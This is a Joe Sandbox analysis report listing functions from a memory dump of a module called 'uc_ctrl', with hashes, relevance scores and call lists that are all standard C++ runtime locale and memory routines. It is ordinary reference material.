Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0?$ctype@??0_??1_ExceptionG@std@@Locinfo@1@Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesctypemallocstd::bad_exception::bad_exception
String ID:
API String ID: 3499470432-0
Opcode ID: 6897be874c5dcf8dfc46e28bc890513d0653bbf7ba90fe7b3702d65451db3d9f
Instruction ID: d65cab844e39442281ccb768ff0e6b382600f7869a415ecd626ee6ba4f8c7cff
Opcode Fuzzy Hash: 6897be874c5dcf8dfc46e28bc890513d0653bbf7ba90fe7b3702d65451db3d9f
Instruction Fuzzy Hash: 99F090B59013169BDB00DFA4C454BEDBBB4BF34318F905429D519ABB80DB74D619C790

Function 6C932F30 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C932F37
new.LIBCMT ref: 6C932F4E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C93D921,?,?,00000000,?,?,?,00000004), ref: 6C932F68

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??0?$codecvt@GDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6C93D921,?,?,00000000,?,?,?,00000004), ref: 6C932F7C

Part of subcall function 6C932EF0: __EH_prolog3.LIBCMT ref: 6C932EF7
Part of subcall function 6C932EF0: _Getcvt.MSVCP140(?,00000030,6C932F81,00000000,00000000,0000003C,6C93D921,?,?,00000000,?,?,?,00000004), ref: 6C932F15

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6C93D921,?,?,00000000,?,?,?,00000004), ref: 6C932F86

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0?$codecvt@??0_??1_ExceptionGetcvtLocinfo@1@Locinfo_ctor@_Locinfo_dtor@_Mbstatet@@@std@@ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 746237128-0
Opcode ID: bd46849c37db8b51e0be90905379535cad4f4b7817e153e3853da1c9c686ab91
Instruction ID: adab165047db01d0b4863d9c1d8059b648bc8fb4964f9b149174e5a09cabd864
Opcode Fuzzy Hash: bd46849c37db8b51e0be90905379535cad4f4b7817e153e3853da1c9c686ab91
Instruction Fuzzy Hash: 72F09071901716DBDB00DFA4C854ADDBB78FF34318F905429D519ABB81DB70DA18C790

Function 6C933850 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C933857
new.LIBCMT ref: 6C93386E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C93E0B3,00000001,?,00000000,?,00000000), ref: 6C933888

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??0?$ctype@_W@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6C93E0B3,00000001,?,00000000,?,00000000), ref: 6C93389C

Part of subcall function 6C933810: __EH_prolog3.LIBCMT ref: 6C933817
Part of subcall function 6C933810: ctype.LIBCPMT(?,00000004,6C9338A1,00000000,00000000,0000003C,6C93E0B3,00000001,?,00000000,?,00000000), ref: 6C933834

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6C93E0B3,00000001,?,00000000,?,00000000), ref: 6C9338A6

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0?$ctype@_??0_??1_ExceptionLocinfo@1@Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@W@std@@_lock_localesctypemallocstd::bad_exception::bad_exception
String ID:
API String ID: 64052058-0
Opcode ID: 6897be874c5dcf8dfc46e28bc890513d0653bbf7ba90fe7b3702d65451db3d9f
Instruction ID: 6ed588c35d63d39333d5ccc9c055b4c2eceb99b4004c3f061bb1f6ccdbb57931
Opcode Fuzzy Hash: 6897be874c5dcf8dfc46e28bc890513d0653bbf7ba90fe7b3702d65451db3d9f
Instruction Fuzzy Hash: 7CF090B19013269FDB00DFA8C454BEDBB74BF34318F905469D909AB780DB74D619C791

Function 6C932A80 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C932A87
new.LIBCMT ref: 6C932A9E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C93E018,?,?,00000000,?,?,?,00000004), ref: 6C932AB8

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??0?$codecvt@_WDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6C93E018,?,?,00000000,?,?,?,00000004), ref: 6C932ACC

Part of subcall function 6C932A40: __EH_prolog3.LIBCMT ref: 6C932A47
Part of subcall function 6C932A40: _Getcvt.MSVCP140(?,00000030,6C932AD1,00000000,00000000,0000003C,6C93E018,?,?,00000000,?,?,?,00000004), ref: 6C932A65

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6C93E018,?,?,00000000,?,?,?,00000004), ref: 6C932AD6

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0?$codecvt@_??0_??1_ExceptionGetcvtLocinfo@1@Locinfo_ctor@_Locinfo_dtor@_Mbstatet@@@std@@ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2338120120-0
Opcode ID: bd46849c37db8b51e0be90905379535cad4f4b7817e153e3853da1c9c686ab91
Instruction ID: 587ad6074e011b6adc5ec4443743a2783433b389c5ad395a2641db255f452ec2
Opcode Fuzzy Hash: bd46849c37db8b51e0be90905379535cad4f4b7817e153e3853da1c9c686ab91
Instruction Fuzzy Hash: E7F06D719017169BDB04DFA4C454ADEBBB8EF34318F905429D509ABB81DB70D658C790

Function 6C93FBB0 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93FBB7
new.LIBCMT ref: 6C93FBCE

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C94A19F,?,?,00000000,?,?,?,00000004), ref: 6C93FBE8

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??0?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6C94A19F,?,?,00000000,?,?,?,00000004), ref: 6C93FBFC

Part of subcall function 6C93FC20: __EH_prolog3.LIBCMT ref: 6C93FC27
Part of subcall function 6C93FC20: ?_Init@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000004,6C93FC01,00000000,00000000,0000003C,6C94A19F,?,?,00000000,?,?,?,00000004), ref: 6C93FC44

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6C94A19F,?,?,00000000,?,?,?,00000004), ref: 6C93FC06

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$G@std@@@std@@@std@@U?$char_traits@V?$istreambuf_iterator@$??0?$time_get@??0_??1_ExceptionInit@?$time_get@Locinfo@1@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2170365789-0
Opcode ID: f2d9865e1b899a9760ff07c18f04f8d068f13fd63f073342868b8b9a16ec420e
Instruction ID: 7094d58a5848703ca0ad393c754ebd285d5ffc706a0bf04d60789f24435927d2
Opcode Fuzzy Hash: f2d9865e1b899a9760ff07c18f04f8d068f13fd63f073342868b8b9a16ec420e
Instruction Fuzzy Hash: 36F0F0719003169BCB00DFA4C4407EEBB78EF7435CF900469D909ABB80DB70CA09C790

Function 6C9415E0 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9415E7
new.LIBCMT ref: 6C9415FE

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C941618

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C94162C

Part of subcall function 6C943C70: ?_W_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6C941631,00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C943C7E
Part of subcall function 6C943C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6C941631,00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C943C8E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C941636

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGettnames@_Init@?$time_put@_Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@_V12@V12@@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 1218131484-0
Opcode ID: 03aa97f896fcc52623879ff91c54ef44f5fc0d45e5f219bd62207d6deae28479
Instruction ID: 4fb4be89f4591f2d2e5000fe6b59076ccc8eb632c90dc5407bdc1eb23967085c
Opcode Fuzzy Hash: 03aa97f896fcc52623879ff91c54ef44f5fc0d45e5f219bd62207d6deae28479
Instruction Fuzzy Hash: 32F0907190171A8BCB00EFA4C49059EB7B8FF39718FA0842ED45AABB80DF70D614CB80

Function 6C94B7A0 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94B7A7
new.LIBCMT ref: 6C94B7BE

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C94D869,?,?,00000000,?,?,?,00000004), ref: 6C94B7D8

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??0?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?,00000004), ref: 6C94B7EC

Part of subcall function 6C94B810: __EH_prolog3.LIBCMT ref: 6C94B817
Part of subcall function 6C94B810: ?_Init@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?,00000004), ref: 6C94B834

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?,00000004), ref: 6C94B7F6

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$D@std@@@std@@@std@@U?$char_traits@V?$istreambuf_iterator@$??0?$time_get@??0_??1_ExceptionInit@?$time_get@Locinfo@1@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 543349494-0
Opcode ID: f2d9865e1b899a9760ff07c18f04f8d068f13fd63f073342868b8b9a16ec420e
Instruction ID: 51bf3d331e02898c775b50a0027e06c425787d7607a1d7db7379a69193ec3356
Opcode Fuzzy Hash: f2d9865e1b899a9760ff07c18f04f8d068f13fd63f073342868b8b9a16ec420e
Instruction Fuzzy Hash: EFF090719017169BDB00DFA4C854BEEBB74EF34718F904429D609ABB80DB74D618C7A4

Function 6C92FC96 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 276COMMON

Download Yara Rule

APIs

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000001,00000000), ref: 6C92FD40
iswctype.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000004,00000007,00000007), ref: 6C92FEC7
iswctype.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000004), ref: 6C92FEF5

Strings

0123456789abcdefABCDEF, xrefs: 6C92FCF1, 6C92FD1B, 6C92FD7D, 6C92FDA8

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
